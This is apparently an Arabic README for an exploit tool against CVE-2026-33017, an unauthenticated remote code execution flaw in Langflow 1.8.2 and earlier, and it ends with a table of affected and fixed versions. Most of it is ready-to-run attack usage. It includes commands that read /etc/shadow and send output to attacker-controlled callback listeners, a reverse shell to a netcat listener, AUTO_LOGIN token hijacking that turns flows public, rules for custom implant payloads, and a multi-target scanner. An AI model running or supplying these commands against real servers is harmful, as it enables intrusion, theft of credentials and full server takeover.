
استغلال لـ CVE-2026-33017 — تنفيذ أوامر عن بُعد بدون مصادقة في Langflow <= 1.8.2 عبر exec() في نقطة نهاية بناء التدفق
_____
/ \
| () () |
\ ^ /
|||||
exec() بدون مصادقة، بدون صندوق حماية، بدون أمل.
يسمح Langflow <= 1.8.2 بـ تنفيذ أوامر عن بُعد بدون مصادقة عبر نقطة النهاية POST /api/v1/build_public_tmp/{flow_id}/flow. يتم تمرير بيانات التدفق المقدمة من المهاجم والتي تحتوي على كود Python عشوائي في تعريفات العقد مباشرة إلى exec() بدون أي صندوق حماية.
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> تنفيذ كود عشوائي بصلاحيات عملية الخادم. انتهت اللعبة.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# الطرفية 1: تشغيل المستمع
python3 -m http.server 8080
# الطرفية 2: إطلاق الاستغلال
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# فك ترميز base64 من سجلات المستمع:
echo "dWlkPTEwMDAo..." | base64 -d
# الطرفية 1: تشغيل المستمع
nc -l 8080
# الطرفية 2: إطلاق الاستغلال
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# تصل المخرجات الخام مباشرة في جسم طلب POST - لا حاجة لفك الترميز
# الطرفية 1: تشغيل المستمع
nc -l 4444
# الطرفية 2: إطلاق الاستغلال
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
قواعد ملف الحمولة:
exec() داخل prepare_global_scope()_x = os.popen(...).read()) لأن مرشح AST ينفذ فقط عقد Assign وFunctionDef وClassDefthreading.Thread(daemon=True) للاستدعاءات الحاجبة لتجنب قتل حلقة الأحداث غير المتزامنةعند عدم وجود تدفقات عامة (PUBLIC) مع تفعيل AUTO_LOGIN (الافتراضي في العديد من النشرات):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
يختطف هذا رمز AUTO_LOGIN، ويعدّل أول تدفق إلى PUBLIC عبر PATCH، ثم يستغله.
فحص أهداف متعددة من ملف (فحص الثغرة فقط):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
صيغة targets.txt:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# التعليقات تُتجاهل
يعرض المخرجات:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version لتحديد بصمة الهدفCustomComponent مع كود Python خبيث في حقل code/api/v1/build_public_tmp/{flow_id}/flow مع معامل data المصنوع. يجمع Langflow الرسم البياني، الذي يستدعي create_class() -> prepare_global_scope() -> exec() على كود المهاجميزيل الإصلاح في v1.9.0 معامل data بالكامل، مما يجبر نقطة النهاية على استخدام بيانات التدفق المخزنة فقط من قاعدة البيانات.
هذه الأداة لأبحاث الأمن المصرح بها فقط. استخدمها فقط ضد أنظمة لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن سوء الاستخدام.
| الإصدار |
|---|
| الحالة |
|---|
| <= 1.8.1 | قابل للاستغلال |
| 1.8.2 | ادعاء الإصلاح في سجل التغييرات لكن الكود لم يتغير أبدًا (أكدت JFrog ذلك) |
| 1.9.0-dev0 إلى dev11 | لا يزال قابلًا للاستغلال |
| 1.9.0 | مُصلَح فعليًا - أُزيل معامل data من نقطة النهاية |